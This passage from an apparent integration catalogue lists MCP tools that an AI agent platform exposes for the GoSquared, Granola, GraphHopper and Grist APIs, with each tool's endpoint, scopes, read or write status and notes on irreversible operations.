/api/v1/gosquared/people/v1/eventTypes. Scopes: read_people. gosquared_get_people_v1_people (read) — Search for a list of people -- This endpoint gives you access to the powerful search and filtering abilities of People CRM. Filters You can filter the list of returned People using the filters parameter, giving you the ability to fine-tune your query based on the rich tracking information stored in GoSquared. Results can be filtered on events (see Event Types ) or properties (see Property Types ). The filters parameter can be complex so we advise that you look at an existing Smart Group to begin with to see how your pre-existing Smart Groups filter results. Using the Query Builder on the right you can graphically build up a filters object using any combination of filters. You can then see the Example Request below with the generated json query. For reference, when using filters key will be element you are filtering on, either a property or event. Path will be the specific property or event you are filtering on, for example for a property that could be 'email'. Operator will be the notation or criteria for that path, such as 'contains'. Value will be the specific value of that path you are filtering on. For example, if wanted to build a filter for any users with an email containing 'GoSquared', it would be as follows: key : 'property' path : 'email' operator : 'contains' value : 'GoSquared' via GET /people/v1/people GET /api/v1/gosquared/people/v1/people. Scopes: read_people. gosquared_get_people_v1_people_by_personid (read) — Retrieve a person -- Retrieve a single profile from People CRM by its person_id . This will return a list of all the properties that have been set on the profile. via GET /people/v1/people/{personID} GET /api/v1/gosquared/people/v1/people/{personID}. Scopes: read_people. gosquared_get_people_v1_people_by_personid_devices (read) — Retrieve a list of devices for a person -- Retrieves a paginated list of devices that a specific person has used. The devices are returned in chronological order based on when the device was last used (sorted newest to oldest). via GET /people/v1/people/{personID}/devices GET /api/v1/gosquared/people/v1/people/{personID}/devices. Scopes: read_people. gosquared_get_people_v1_people_by_personid_feed (read) — Retrieve a feed of events for a person -- Retrieves a list of tracked events associated with a Person in reverse chronological order. This list can be filtered based on the type for event s, which are events that you have tracked, and sessionEvent s - GoSquared tracking events such as pageviews and session beginning and endings. You can also specify a date range to filter for. The query parameter allows you to search through a Person's event history based on the name of the event via GET /people/v1/people/{personID}/feed GET /api/v1/gosquared/people/v1/people/{personID}/feed. Scopes: read_people. gosquared_get_people_v1_propertytypes (read) — Retrieve all property types -- Retrieves a list of all types of properties that exist in People CRM. The property names use dot notation where a . represents a property so last.location.coordinates represent the object below in a returned Person object. { "...": "...", "last": { "location": { "coordinates": "..." } } } via GET /people/v1/propertyTypes GET /api/v1/gosquared/people/v1/propertyTypes. Scopes: read_people. gosquared_get_people_v1_propertytypes_by_propertyid (read) — Retrieve a property -- Retrieves a single property by name via GET /people/v1/propertyTypes/{propertyID} GET /api/v1/gosquared/people/v1/propertyTypes/{propertyID}. Scopes: read_people. gosquared_get_people_v1_propertytypes_custom (read) — Retrieve all custom property types -- The same as above but only returning custom properties. via GET /people/v1/propertyTypes/custom GET /api/v1/gosquared/people/v1/propertyTypes/custom. Scopes: read_people. gosquared_get_people_v1_smartgroups (read) — Retrieve all Smart Groups -- A Smart Group is a filtered list of users that has been saved in People CRM. This endpoint retrieves a list of all the Smart Groups associated with a specific project. It also returns the filters that have been applied to each Smart Group. via GET /people/v1/smartgroups GET /api/v1/gosquared/people/v1/smartgroups. Scopes: read_people. gosquared_get_people_v1_smartgroups_by_groupid (read) — Retrieve a Smart Group -- Retrieves a single Smart Group by its groupID . The groupID is usually the lower-case name of the Smart Group. You can check the groupID by viewing the URL path that links you to the group in the People dashboard. via GET /people/v1/smartgroups/{groupID} GET /api/v1/gosquared/people/v1/smartgroups/{groupID}. Scopes: read_people. gosquared_get_people_v1_smartgroups_by_groupid_feed (read) — Retrieve a feed of events from everyone in a smart group -- Requests an export of all pageview activity of users in a smart group into a downloadable CSV. The response contains a link to download the CSV. This link is active for 15 minutes, after which it will expire. A maximum of 60 days' worth of data can be queried at a time. Longer time ranges can be broken down into multiple smaller requests. via GET /people/v1/smartgroups/{groupID}/feed GET /api/v1/gosquared/people/v1/smartgroups/{groupID}/feed. Scopes: read_people. gosquared_get_people_v1_smartgroups_by_groupid_people (read) — Retrieve a list of people in Smart Group -- Retrieves the list of people in a given Smart Group. This function is the equivalent of mapping the Smart Group's 'filters' property to the Search People method. Using the query parameter you can search through this smartgroup via GET /people/v1/smartgroups/{groupID}/people GET /api/v1/gosquared/people/v1/smartgroups/{groupID}/people. Scopes: read_people. gosquared_get_trends_v2_aggregate (read) — Retrieve historical aggregate data -- Retrieves a list of summarised aggregate metrics over a given time period. This data powers the trends timeline and total metrics. These data points can be split up using the interval parameter for performing finer calculations over time. via GET /trends/v2/aggregate GET /api/v1/gosquared/trends/v2/aggregate. Scopes: read_trends. gosquared_get_trends_v2_browser (read) — Retrieve historical browser data -- Retrieves a list of summarised browser metrics over a given time period. via GET /trends/v2/browser GET /api/v1/gosquared/trends/v2/browser. Scopes: read_trends. gosquared_get_trends_v2_country (read) — Retrieve historical country data -- Retrieves a list of summarised country metrics over a given time period. via GET /trends/v2/country GET /api/v1/gosquared/trends/v2/country. Scopes: read_trends. gosquared_get_trends_v2_event (read) — Retrieve historical event data -- Retrieves the number of times that an event has been triggered over a given time period. The data property passed when tracking events is not included and can instead be found in the Feed API. via GET /trends/v2/event GET /api/v1/gosquared/trends/v2/event. Scopes: read_trends. gosquared_get_trends_v2_language (read) — Retrieve historical language data -- Retrieves a list of summarised language metrics over a given time period. via GET /trends/v2/language GET /api/v1/gosquared/trends/v2/language. Scopes: read_trends. gosquared_get_trends_v2_organisation (read) — Retrieve historical organisation data -- Retrieves a list of summarised organisation metrics over a given time period. via GET /trends/v2/organisation GET /api/v1/gosquared/trends/v2/organisation. Scopes: read_trends. gosquared_get_trends_v2_os (read) — Retrieve historical operating system data -- Retrieves a list of summarised operating system metrics over a given time period. via GET /trends/v2/os GET /api/v1/gosquared/trends/v2/os. Scopes: read_trends. gosquared_get_trends_v2_page (read) — Retrieve historical page data -- Retrieves a list of summarised page metrics over a given time period. via GET /trends/v2/page GET /api/v1/gosquared/trends/v2/page. Scopes: read_trends. gosquared_get_trends_v2_path1 (read) — Retrieve historical base path data -- Retrieves a list of summarised base path metrics over a given time period. via GET /trends/v2/path1 GET /api/v1/gosquared/trends/v2/path1. Scopes: read_trends. gosquared_get_trends_v2_screendimensions (read) — Retrieve historical screen dimensions data -- Retrieves a list of summarised screen dimensions metrics over a given time period. via GET /trends/v2/screenDimensions GET /api/v1/gosquared/trends/v2/screenDimensions. Scopes: read_trends. gosquared_get_trends_v2_sources (read) — Retrieve historic Sources data -- Retrieves a historical list of sources that have referred visitors to the site, grouped by 'direct', 'organic', 'site' and 'social'. via GET /trends/v2/sources GET /api/v1/gosquared/trends/v2/sources. Scopes: read_trends. gosquared_get_trends_v2_sources_by_sourcetype (read) — Retrieve sources by group -- Retrieves a historical list of sources for the given section. via GET /trends/v2/sources/{sourceType} GET /api/v1/gosquared/trends/v2/sources/{sourceType}. Scopes: read_trends. gosquared_post_account_v1_blocked_bots (write) — Update blocked bots setting -- Updates whether the automatic bot blocking feature should be turned on/off for a given project. via POST /account/v1/blocked/bots POST /api/v1/gosquared/account/v1/blocked/bots. Scopes: write_account. gosquared_post_account_v1_blocked_ips (write) — Update blocked IPs -- Updates the list of IP addresses to be blocked for a given project. via POST /account/v1/blocked/ips POST /api/v1/gosquared/account/v1/blocked/ips. Scopes: write_account. gosquared_post_account_v1_blocked_visitors_by_visitorid (write) — Update blocked visitors -- Updates the list of blocked visitors for a given project. via POST /account/v1/blocked/visitors/{visitorID} POST /api/v1/gosquared/account/v1/blocked/visitors/{visitorID}. Scopes: write_account. gosquared_post_account_v1_sharedusers (write) — Add a team member -- Adds a user to the list of shared users based on their email address. If the given email address is not associated with a GoSquared account then they will be invited to create an account and gain access to the shared project. Note: Only API keys generated by the project owner have permission to be used with this endpoint. via POST /account/v1/sharedUsers POST /api/v1/gosquared/account/v1/sharedUsers. Scopes: write_account. gosquared_post_account_v1_sites (write) — Add a site -- Adds a new site to GoSquared tracking. This endpoint allows the programmatic creation of sites to be tracked with GoSquared. It is important to note that this does not mean the site is now being tracked. You must still include our tracking code, or use one of our client libraries, to track information from the added site. The response body will contain the details for the created including its site_token. This site_token can then be used as part of you application flow to enable tracking on the added site. via POST /account/v1/sites POST /api/v1/gosquared/account/v1/sites. Scopes: write_account. gosquared_post_account_v1_taggedvisitors_by_visitorid (write) — Add a tagged visitor -- Adds a tag to an identified visitor. via POST /account/v1/taggedVisitors/{visitorID} POST /api/v1/gosquared/account/v1/taggedVisitors/{visitorID}. Scopes: write_account. gosquared_post_account_v1_webhooks (write) — Add a webhook -- Adds a webhook. via POST /account/v1/webhooks POST /api/v1/gosquared/account/v1/webhooks. Scopes: write_account. gosquared_post_account_v1_webhooks_by_webhookid_triggers (write) — Add a trigger to a webhook -- Add a trigger to a webhook. via POST /account/v1/webhooks/{webhookID}/triggers POST /api/v1/gosquared/account/v1/webhooks/{webhookID}/triggers. Scopes: write_account. gosquared_post_chat_v1_chats_by_chatid_archive (write) — Archive chat -- Archive a chat conversation. via POST /chat/v1/chats/{chatID}/archive POST /api/v1/gosquared/chat/v1/chats/{chatID}/archive. Scopes: write_chat. gosquared_post_chat_v1_chats_by_chatid_messages (write) — Send a message -- Send a message to a person as an agent or client. When sending a message as an agent, the agent will be set to the owner of the API key. To send a message as a client, you will need to include their "Person Signature" as the "auth" value in your query params. The "Person Signature" should be generated on your server by combining the user's unique identifier with your project's Secure Mode Secret using a SHA-256 HMAC function (keyed-hash message authentication code.) via POST /chat/v1/chats/{chatID}/messages POST /api/v1/gosquared/chat/v1/chats/{chatID}/messages. Scopes: write_chat. gosquared_post_chat_v1_chats_by_chatid_notes (write) — Leave a note -- Leave a note in a conversation. via POST /chat/v1/chats/{chatID}/notes POST /api/v1/gosquared/chat/v1/chats/{chatID}/notes. Scopes: write_chat. gosquared_post_chat_v1_chats_by_chatid_unarchive (write) — Un-archive chat -- Un-archive a chat conversation. via POST /chat/v1/chats/{chatID}/unarchive POST /api/v1/gosquared/chat/v1/chats/{chatID}/unarchive. Scopes: write_chat. gosquared_post_people_v1_smartgroups (write) — Add a Smart Group -- Add a new Smart Group. Filters You can use filters to create the criteria for a smart group to add using the filters parameter, Smart Groups can be built around events (see Event Types ) or properties (see Property Types ). The filters parameter can be complex so we advise that you look at an existing Smart Group to begin with to see how your pre-existing Smart Groups filter results. Using the Query Builder on the right you can graphically build up a filters object using any combination of filters. You can then see the Example Request below with the generated json query. For reference, when using filters key will be element you are filtering on, either a property or event. Path will be the specific property or event you are filtering on, for example for a property that could be 'email'. Operator will be the notation or criteria for that path, such as 'contains'. Value will be the specific value of that path you are filtering on. For example, if wanted to build a Smart Group of any users with an email containing 'GoSquared', it would be as follows: key : 'property' path : 'email' operator : 'contains' value : 'GoSquared' via POST /people/v1/smartgroups POST /api/v1/gosquared/people/v1/smartgroups. Scopes: write_people. gosquared_post_tracking_v1_event (write, destructive) — Track an event -- GoSquared events are a versatile way of tracking anything that is happening on your site or app. User actions, application errors, state transitions, and activity of all kinds can be tracked as an event. Popular events are aggregated by name in the Trends dashboard . You can search and filter by the top level event name in People CRM . Optionally, you can include extra data in the event body. However, event body data is not currently searchable , but it can be viewed on a per profile basis in People CRM. How many unique event types/names can I track? Take some time to think about the name you give to your events. You can name them anything you like, but it's best to use a clear, concise name. Each GoSquared project can track up to 1000 custom events . Above this limit, events with new names will be ignored. via POST /tracking/v1/event IRREVERSIBLE: tracked data cannot be removed from GoSquared dashboards, so an event sent to the wrong project pollutes its analytics permanently. POST /api/v1/gosquared/tracking/v1/event. Scopes: write_tracking. gosquared_post_tracking_v1_pageview (write, destructive) — Track a pageview -- Pageviews are used to track what pages a visitor is browsing across your site. A visitor can visit any number of pages during a browsing session, and these will be automatically tracked using the JavaScript tracker so long as it is installed on every page. We also use ping requests to tell our tracking systems that the visitor is still on that page - if we do not receive a successful ping for 30 seconds then they will be timed out. Pageviews can currently only be tracked via the JavaScript tracker or direct via HTTP, and not with any other libraries. via POST /tracking/v1/pageview IRREVERSIBLE: tracked data cannot be removed from GoSquared dashboards, so a pageview sent to the wrong project pollutes its analytics permanently. POST /api/v1/gosquared/tracking/v1/pageview. Scopes: write_tracking. gosquared_post_tracking_v1_ping (write, destructive) — Ping the tracking session -- In order to know that a user is still on your website, a ping must be received at least once every 30 seconds. If no ping is received then the session will be timed out. Note : This function is primarily useful for building custom libraries or advanced tracking processes. In the vast majority of cases the library for your language or the tracking code will manage pinging GoSquared for you. via POST /tracking/v1/ping IRREVERSIBLE: session pings extend live sessions in analytics that cannot be edited afterwards. POST /api/v1/gosquared/tracking/v1/ping. Scopes: write_tracking. gosquared_post_tracking_v1_properties (write, destructive) — Track some properties -- Properties are an excellent way of getting to know your users. They contain user information and state. All properties can be used to search, filter and sort your users in People CRM . The more you track, the better you can understand your users. GoSquared defines a list of common properties that are useful to track. Some of these special properties are used by GoSquared to provide powerful functionality. For example, email is used to look up additional information about an individual from publicly available sources. Custom properties Besides special properties, you can track any property of any data type and GoSquared will make that data searchable, sortable and filterable. Place your custom properties under the custom property. People CRM needs to know about what kind of data each custom property contains – whether the property is text, a number, or a date etc. Therefore, when you track a custom property, it is automatically assigned a “type” based on the value you send. We can can then make sure the data is searched, sorted and filtered in the correct way for that data. Possible types are Text , Number , Date , Boolean and Null . For example, if you send a subscription_created property with a value like 2015-03-03T15:00:00+00:00 , it will be assigned the Date type. Alternatively, if you send a subscription_value property with a value like 49.99 , it will be assigned the Number type. Date detection is fairly lenient, so long as it resembles at least a portion of an ISO 8601 string. People CRM will always try its best to figure out the most appropriate type for your custom properties. Sometimes it’s not always possible to get it exactly right, such as if you send a numeric Unix timestamp and want it treated as a date. In those cases, you can manually correct the property type in your Project Settings . Once a custom property is tracked, it will appear in the custom properties list in the People section of Project Settings . There, you can manually change the type of the custom property. This might be necessary if you track a custom property with the wrong data, or if you wish to change what the custom property is used for. How many different custom properties can I track? Each GoSquared project can track up to 1000 custom properties . Above this limit, properties with new names will be ignored in that project. via POST /tracking/v1/properties IRREVERSIBLE: tracked properties cannot be removed from GoSquared dashboards once recorded against a session. POST /api/v1/gosquared/tracking/v1/properties. Scopes: write_tracking. gosquared_post_tracking_v1_timeout (write, destructive) — Timeout the tracking session -- Calling this function will end all sessions for the given Visitor. If the page.index value is given then it will only timeout that session. via POST /tracking/v1/timeout IRREVERSIBLE: timing out a session ends it in analytics that cannot be edited afterwards. POST /api/v1/gosquared/tracking/v1/timeout. Scopes: write_tracking. gosquared_post_tracking_v1_transaction (write, destructive) — Track a transaction -- Transactions are a special type of event, used to track when a user has purchased something from you. The data is reported in Ecommerce Analytics and People CRM . Transactions can be tracked either in the browser using the JavaScript Tracker when a user completes a purchase, or on the backend when your application processes the transaction. If a transaction ID is specified, it will be checked for uniqueness to prevent duplicate transactions from being tracked. By default, GoSquared calculates the total revenue and quantity amount from the items in the transaction. You may want to override this in some cases, such as when a discount was applied. This is possible by specifying revenue and quantity totals in the transaction options. Note: It is not possible to remove test transactions from your Ecommerce dashboard. Therefore we highly recommend creating a test project in your GoSquared account before you start sending data to your production project. via POST /tracking/v1/transaction IRREVERSIBLE: tracked data cannot be removed from GoSquared dashboards, so a transaction sent to the wrong project pollutes its analytics and revenue figures permanently. POST /api/v1/gosquared/tracking/v1/transaction. Scopes: write_tracking. ================================================================================ ## Granola URL: https://www.agenticfabriq.com/integrations/granola Section: Integrated Tools Granola — 11 MCP tools Provider key: granola. Scopes: read_audit, read_notes, read_notes_mcp. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. granola_get_account_info (read) — Report which Granola account email and active workspace this connection is bound to. CALL THIS WHEN A MEETING SEARCH RETURNS NOTHING: Granola MCP follows whichever workspace is selected in the desktop app, so the wrong workspace, the wrong account email, a free plan's 30-day window and a genuinely empty workspace all produce the same empty result. Granola's own troubleshooting guide names this as the first diagnostic step. GET /api/v1/tools/granola/mcp/account. Scopes: read_notes_mcp. granola_get_meeting_transcript (read) — Read the raw transcript of one Granola meeting over Granola's MCP server, for direct quotes and exact wording where the AI summary is not enough. PAID PLANS ONLY - a free-plan account is refused by Granola in its own words rather than by Agentic Fabriq, and that sentence should be relayed to the user rather than retried. The transcript is verbatim speech from everyone present, including people who never used Agentic Fabriq. GET /api/v1/tools/granola/mcp/meetings/transcript. Scopes: read_notes_mcp. granola_get_meetings (read) — Read one or more Granola meeting notes in full over Granola's MCP server: title, date, attendees, the user's own private notes and the AI summary. Takes several meeting ids in a single call. Ids come from granola_list_meetings or granola_query_meetings - never a meeting title and never a guess. POST /api/v1/tools/granola/mcp/meetings/get. Scopes: read_notes_mcp. granola_get_note (read) — Get one Granola meeting note by id, including its AI summary (plain text and markdown), attendees, calendar event and folder membership. Pass include=transcript to get the transcript inline; if it is too large the call fails with TRANSCRIPT_TOO_LARGE and granola_get_transcript must be used instead. A meeting whose summary and transcript are still being generated answers 404 - that is a normal not-ready state, not a broken connection. GET /api/v1/tools/granola/notes/{note_id}. Scopes: read_notes. granola_get_transcript (read) — Read a Granola meeting transcript in pages. Use this for long meetings and whenever granola_get_note answers TRANSCRIPT_TOO_LARGE. Each item carries the spoken text, its start and end time, and a speaker whose attribution is 'me' (the note taker) or 'them'. Page with hasMore and cursor, not by counting items. GET /api/v1/tools/granola/notes/{note_id}/transcript. Scopes: read_notes. granola_list_folders (read) — List the Granola folders this key can see, with each folder's parent so the hierarchy can be reconstructed. Use it to find the folder_id that granola_list_notes filters on. GET /api/v1/tools/granola/folders. Scopes: read_notes. granola_list_meeting_folders (read) — List the Granola folders the connected account can access over Granola's MCP server, with id, title, description and note count. The ids are what granola_list_meetings filters on. PAID PLANS ONLY. GET /api/v1/tools/granola/mcp/folders. Scopes: read_notes_mcp. granola_list_meetings (read) — List meeting notes the connected Granola account can access, with meeting id, title, date and attendees. Runs over Granola's MCP server. Folder filtering is a paid-plan feature; on the free plan only the last 30 days of personal notes are visible. The ids returned here are what granola_get_meetings and granola_get_meeting_transcript consume - they are NOT interchangeable with the not_* ids granola_list_notes returns. GET /api/v1/tools/granola/mcp/meetings. Scopes: read_notes_mcp. granola_list_notes (read) — List Granola meeting notes, newest data first, filtered by creation or update date and optionally by folder. Returns id, title, owner and timestamps for each note - call granola_get_note for the summary and transcript. Only meetings that already have a generated AI summary and transcript are returned; one still being processed is silently absent rather than an error, so an empty result is not evidence of an empty workspace and must not be treated as a failure. GET /api/v1/tools/granola/notes. Scopes: read_notes. granola_list_webhook_endpoints (read) — List the webhook endpoints registered on this Granola workspace, to audit where meeting notes are being shipped and by whom. Granola redacts each delivery url to its bare origin for anyone who did not create the endpoint, because a webhook path can carry a credential. Read-only - creating, repointing and deleting webhooks are not exposed. GET /api/v1/tools/granola/webhook-endpoints. Scopes: read_audit. granola_query_meetings (read) — Ask a natural-language question across the user's Granola meetings and get an answer with citations. THIS IS THE ONLY SEARCH GRANOLA HAS - its REST API declares no query, search or full-text parameter on any endpoint, so granola_list_notes cannot answer 'which meeting did we agree the pricing in' at any page size. Runs over Granola's MCP server and needs the browser sign-in connection, which works on every Granola plan including free. Full sentences work better than keywords. POST /api/v1/tools/granola/mcp/meetings/query. Scopes: read_notes_mcp. ================================================================================ ## GraphHopper URL: https://www.agenticfabriq.com/integrations/graph_hopper Section: Integrated Tools GraphHopper — 16 MCP tools Provider key: graph_hopper. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. graph_hopper_get_cluster_solution_by_jobid (read) — Collect a submitted clustering assignment by the `jobId` that submission returned: each cluster with the customer ids in it and its total quantity. Answers with `status` `waiting_in_queue` or `processing` until it is finished, so a caller polls this via GET /cluster/solution/{jobId} GET /api/v1/graph_hopper/cluster/solution/{jobId}. Scopes: api. graph_hopper_get_geocode (read) — Turn a place name or address into coordinates (`q`), or a `point` (`lat,lng`) back into an address with `reverse=true`. Returns up to `limit` matches, each with a name, street, housenumber, city, postcode, state, country, an OSM id and a bounding box. `locale` picks the language of the returned names and `provider` selects the geocoding back end. Exactly one of `q` and `point` is what a call means: `q` alone is a forward lookup, and `point` with `reverse=true` is the inverse GET /api/v1/graph_hopper/geocode. Scopes: api. graph_hopper_get_isochrone (read) — The area reachable from one `point` within a `time_limit` (seconds) or a `distance_limit` (metres), returned as GeoJSON polygons. `buckets` splits it into that many nested rings -- 3 buckets on a 900-second limit gives the 5-, 10- and 15-minute areas in one call. `reverse_flow=true` inverts the question to the area FROM which the point can be reached, which is the right one for catchment analysis on a one-way network via GET /isochrone GET /api/v1/graph_hopper/isochrone. Scopes: api. graph_hopper_get_matrix (read) — Travel times, distances and weights between every origin and every destination. Either give one symmetric set with repeated `point`, or an asymmetric pair with `from_point` and `to_point`. `out_array` chooses which of `weights`, `times` and `distances` come back, and `fail_fast=false` returns the matrix with `null` in the cells that could not be connected instead of failing the whole request. A matrix costs credits in proportion to the number of cells, so this is the expensive tool on the surface via GET /matrix GET /api/v1/graph_hopper/matrix. Scopes: api. graph_hopper_get_matrix_solution_by_jobid (read) — Collect the result of a matrix submitted for asynchronous calculation, by the `jobId` that submission returned. Answers with a `status` of `waiting_in_queue`, `processing` or `finished`, and the matrix itself only once it is finished -- so a caller polls this rather than expecting an answer first time via GET /matrix/solution/{jobId} GET /api/v1/graph_hopper/matrix/solution/{jobId}. Scopes: api. graph_hopper_get_route (read) — Route between two or more `point` values (`lat,lng`, repeated, in visiting order) and get distance, travel time, an encoded geometry and turn-by-turn instructions. This is the GET form, which takes every option as a query parameter: `vehicle` picks the profile, `optimize=true` reorders the intermediate points, `algorithm=alternative_route` or `round_trip` changes what is computed, `elevation` adds a third coordinate, `details` asks for per-segment road attributes, and `avoid` / `block_area` exclude road classes or areas. Note `points_encoded` defaults to true, so the geometry arrives as a polyline string that has to be decoded; send `points_encoded=false` for plain coordinates via GET /route GET /api/v1/graph_hopper/route. Scopes: api. graph_hopper_get_route_info (read) — Read what this GraphHopper deployment covers: the bounding box of its map data, the build date and data date, its version, its supported vehicle profiles and whether each carries elevation. The cheapest read on the surface -- it takes no arguments at all -- and the natural smoke test for a connection via GET /route/info GET /api/v1/graph_hopper/route/info. Scopes: api. graph_hopper_get_vrp_solution_by_jobid (read) — Collect a submitted route-optimization plan by the `jobId` that submission returned: the routes per vehicle with their stops in order, arrival times, the total distance, time and cost, and any `unassigned` services with the reason each was dropped. Answers with `status` `waiting_in_queue` or `processing` until the solver finishes, so a caller polls this via GET /vrp/solution/{jobId} GET /api/v1/graph_hopper/vrp/solution/{jobId}. Scopes: api. graph_hopper_post_cluster (write) — Group customer addresses into clusters by travel cost rather than by straight-line distance -- the territory-planning service. `num_clusters` sets how many groups to make and `min_quantity` / `max_quantity` bound how much demand each may hold. This is the SYNCHRONOUS form; larger problems go through Submit a clustering problem. It computes an assignment and stores nothing via POST /cluster POST /api/v1/graph_hopper/cluster. Scopes: api. graph_hopper_post_cluster_calculate (write) — Queue a clustering problem and get back a `job_id` immediately; the assignment is collected with Get a clustering solution. This CREATES a job on GraphHopper's side, which is why it is a write via POST /cluster/calculate POST /api/v1/graph_hopper/cluster/calculate. Scopes: api. graph_hopper_post_match (write) — Snap a recorded GPS track onto the road network and get the matched route back with distance, time and instructions -- the map-matching service. `gps_accuracy` (metres) tells the matcher how far a fix may have drifted and `vehicle` picks the profile whose network the track is matched against. NOTE: the sealed contract records no request body for this operation, so whatever JSON body is sent is forwarded verbatim; GraphHopper's own documentation is the reference for its shape via POST /match POST /api/v1/graph_hopper/match. Scopes: api. graph_hopper_post_matrix (write) — The same matrix calculation taking one JSON body, which is what a matrix of any size needs -- a few hundred points makes a query string no server will accept. Answers synchronously, so it is bounded by the request timeout; use Submit a large matrix for anything bigger via POST /matrix POST /api/v1/graph_hopper/matrix. Scopes: api. graph_hopper_post_matrix_calculate (write) — Queue a matrix too large to answer inside one request and get back a `job_id` immediately. The result is collected with Get a matrix result; until it is ready that call reports `waiting_in_queue` or `processing`. This CREATES a job on GraphHopper's side, which is why it is a write via POST /matrix/calculate POST /api/v1/graph_hopper/matrix/calculate. Scopes: api. graph_hopper_post_route (write) — The same routing engine as the GET form, taking one JSON body instead of a long query string. This is the form to use for a custom model (`custom_model` with `priority`, `speed` and `areas` rules), for many points, or for anything that would overflow a URL. It computes a route and stores nothing via POST /route POST /api/v1/graph_hopper/route. Scopes: api. graph_hopper_post_vrp (write) — Route Optimization: given `vehicles`, `vehicle_types` and the `services` or `shipments` they must cover, work out which vehicle does what and in which order, honouring time windows, capacities, skills and driver breaks. This is the SYNCHRONOUS form and is bounded by the request timeout, so it suits small problems; anything larger goes through Submit a vehicle routing problem. It computes a plan and stores nothing via POST /vrp POST /api/v1/graph_hopper/vrp. Scopes: api. graph_hopper_post_vrp_optimize (write) — Queue a route-optimization problem and get back a `job_id` immediately, which is the form real fleet problems use -- solving takes longer than a request may. The plan is collected with Get a route optimization solution. This CREATES a job on GraphHopper's side, which is why it is a write via POST /vrp/optimize POST /api/v1/graph_hopper/vrp/optimize. Scopes: api. ================================================================================ ## Grist URL: https://www.agenticfabriq.com/integrations/grist Section: Integrated Tools Grist — 113 MCP tools Provider key: grist. Scopes: api, doc.schema:write, doc:read, doc:webhooks, doc:write, user.profile:read. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. grist_delete_docs_by_docid (write, destructive) — Delete a document. DELETE /docs/{docId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/docs/{docId}. Scopes: api. grist_delete_docs_by_docid_tables_by_tableid_columns_by_colid (write, destructive) — Delete a column of a table. DELETE /docs/{docId}/tables/{tableId}/columns/{colId}. DELETE /api/v1/grist/docs/{docId}/tables/{tableId}/columns/{colId}. Scopes: doc.schema:write. grist_delete_docs_by_docid_webhooks_by_webhookid (write, destructive) — Remove a webhook. DELETE /docs/{docId}/webhooks/{webhookId}. Permanently delete a webhook. Any pending deliveries in the queue for this webhook will also be removed. DELETE /api/v1/grist/docs/{docId}/webhooks/{webhookId}. Scopes: doc:webhooks. grist_delete_docs_by_docid_webhooks_queue (write, destructive) — Empty a document's queue of undelivered payloads. DELETE /docs/{docId}/webhooks/queue. Clear all pending webhook deliveries for this document. Use this if the queue has built up due to unreachable endpoints. DELETE /api/v1/grist/docs/{docId}/webhooks/queue. Scopes: doc:webhooks. grist_delete_docs_by_docid_webhooks_queue_by_webhookid (write, destructive) — Clear queue for a specific webhook. DELETE /docs/{docId}/webhooks/queue/{webhookId}. Clear the queue of pending payloads for a specific webhook. Only document owners can call this endpoint. DELETE /api/v1/grist/docs/{docId}/webhooks/queue/{webhookId}. Scopes: doc:webhooks. grist_delete_orgs_by_orgid_by_name (write, destructive) — Delete an org. DELETE /orgs/{orgId}/{name}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/orgs/{orgId}/{name}. Scopes: api. grist_delete_profile_apikey (write, destructive) — Delete user's API key. DELETE /profile/apikey. Delete the current user's API key. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/profile/apikey. Scopes: api. grist_delete_service_accounts_by_said (write, destructive) — Delete a service account. DELETE /service-accounts/{saId}. This deletes a given service account. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/service-accounts/{saId}. Scopes: api. grist_delete_service_accounts_by_said_apikey (write, destructive) — Delete a service account's api key. DELETE /service-accounts/{saId}/apikey. Deletes the API key for a service account. The service account will no longer be able to authenticate until a new key is generated. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/service-accounts/{saId}/apikey. Scopes: api. grist_delete_users_by_userid (write, destructive) — Delete a user from Grist. DELETE /users/{userId}. This action also deletes the user's personal organisation and all the workspaces and documents it contains. Currently, only the users themselves are allowed to delete their own accounts. This action cannot be undone, please be cautious when using this endpoint IRREVERSIBLE: this deletes the connected Grist account itself, along with its personal organisation and every workspace and document in it. Grist requires the account's own name in the body as a confirmation. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/users/{userId}. Scopes: api. grist_delete_workspaces_by_workspaceid (write, destructive) — Delete a workspace. DELETE /workspaces/{workspaceId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. DELETE /api/v1/grist/workspaces/{workspaceId}. Scopes: api. grist_get_docs_by_docid (read) — Describe a document. GET /docs/{docId}. REQUIRES AN API-KEY CONNECTION: Grist's OAuth tokens do not reach this endpoint. GET 